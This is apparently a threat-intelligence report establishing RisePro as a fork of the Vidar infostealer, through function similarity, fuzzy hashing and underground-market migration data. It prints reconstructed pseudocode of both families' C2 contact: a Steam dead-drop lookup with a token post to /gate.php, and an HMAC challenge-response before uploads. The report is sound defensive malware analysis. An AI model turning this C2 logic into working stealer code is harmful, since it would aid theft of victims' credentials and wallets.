RisePro vs Vidar: Tracking Stealer Fork Divergence Across 18 Months of Campaigns

RisePro first appeared on underground markets in December 2022. Its targeting profile -- browser credentials, cryptocurrency wallets, gaming clients - was near-identical to Vidar, and early samples showed suspicious code similarities. This report documents a systematic code similarity analysis confirming RisePro as a Vidar fork, with detailed diffing of the C2 authentication mechanism where the two families have most significantly diverged, and an analysis of observable operator migration patterns from Vidar to RisePro in 2025-2026.

//Code Similarity Analysis

BinDiff comparison between RisePro v1.0 and Vidar v5.5 (the most recent Vidar version predating RisePro's appearance) shows 73% function-level similarity by basic block matching - well above the 30-40% threshold typically considered significant for fork identification. The matching functions include the browser profile enumeration routine, the SQLite credential extraction logic, and the PE loader used for plugin modules.

# BinDiff function similarity results (top matches)
Function                              Vidar v5.5   RisePro v1.0   Similarity
---------------------------------------------------------------------------
enumerate_browser_profiles            0x4A2310     0x4B1F80       0.97
extract_sqlite_credentials            0x4A5C40     0x4B4D20       0.94
load_plugin_module                    0x4A7120     0x4B6890       0.92
scan_crypto_wallets                   0x4A8340     0x4B7B10       0.89
collect_system_info                   0x4A1200     0x4B0D40       0.87
[C2 init/auth]                        0x4A9F10     0x4B9020       0.31  <- FORK POINT

ssdeep Fuzzy Hashing

Section-level ssdeep comparison of the .text sections shows 68% similarity between the two binaries - high enough to confirm shared code base while accounting for the significant C2-related changes. The .rdata sections (read-only data, including strings) show 81% similarity, confirming that even the string obfuscation routines were copied directly.

//C2 Authentication Divergence

The single area of major functional divergence is the C2 authentication mechanism. Vidar uses a well-documented dead-drop resolver pattern: the binary first contacts a public platform (historically Steam or Mastodon) to retrieve the actual C2 address from a user profile description field, then authenticates to the C2 using a static operator token embedded in the binary.

RisePro abandons the dead-drop pattern entirely and moves to a direct C2 contact model with a significantly more complex authentication handshake designed to prevent unauthorised access to the panel API.

Vidar C2 Auth (dead-drop)

// Vidar C2 resolution (simplified)
// Step 1: fetch dead-drop page (Steam profile, Mastodon bio)
steam_url = "https://steamcommunity.com/profiles/[hardcoded_steamid]"
page_html = http_get(steam_url)
c2_addr = extract_between_markers(page_html, "<<", ">>")   // e.g. "185.x.x.x:80"

// Step 2: authenticate to C2 with static token
token = xor_decrypt(embedded_token_blob, key=0x37)
http_post(c2_addr + "/gate.php", data={"token": token, "hwid": hardware_id})

RisePro C2 Auth (direct with HMAC challenge)

// RisePro C2 authentication (reconstructed)
// Step 1: initial contact, receive nonce
resp1 = http_get(c2_addr + "/api/auth/init")
nonce = json_parse(resp1)["nonce"]    // 32-byte random nonce from server

// Step 2: HMAC-SHA256 response with operator key + nonce
op_key = xor_decrypt(embedded_key_blob, key=0x5C)
hmac_response = HMAC_SHA256(key=op_key, data=nonce + hardware_id)

// Step 3: submit response, receive session token
resp2 = http_post(c2_addr + "/api/auth/verify", data={
    "hwid":     hardware_id,
    "response": hex(hmac_response),
    "version":  "1.3"
})
session_token = json_parse(resp2)["token"]
// All subsequent uploads use Bearer: session_token

//Operator Migration Patterns

Comparing underground market activity, RisePro log shop listings show a consistent overlap with former Vidar log buyers. Cross-referencing Telegram channel membership (using publicly-visible Telegram group subscriber lists for known log shop channels) shows that approximately 60% of RisePro operator accounts have prior posting history in Vidar-related channels. This is consistent with RisePro being positioned as a Vidar successor by the same developer or development team.

Vidar Activity Decline

Vidar sample submissions to VirusTotal peaked in Q3 2023 and have declined steadily since. By Q1 2026, RisePro submissions exceed Vidar by a factor of 4:1. The dead-drop resolver domains associated with Vidar (Steam profiles, Mastodon accounts) have progressively gone inactive, suggesting operators have migrated rather than maintaining parallel operations.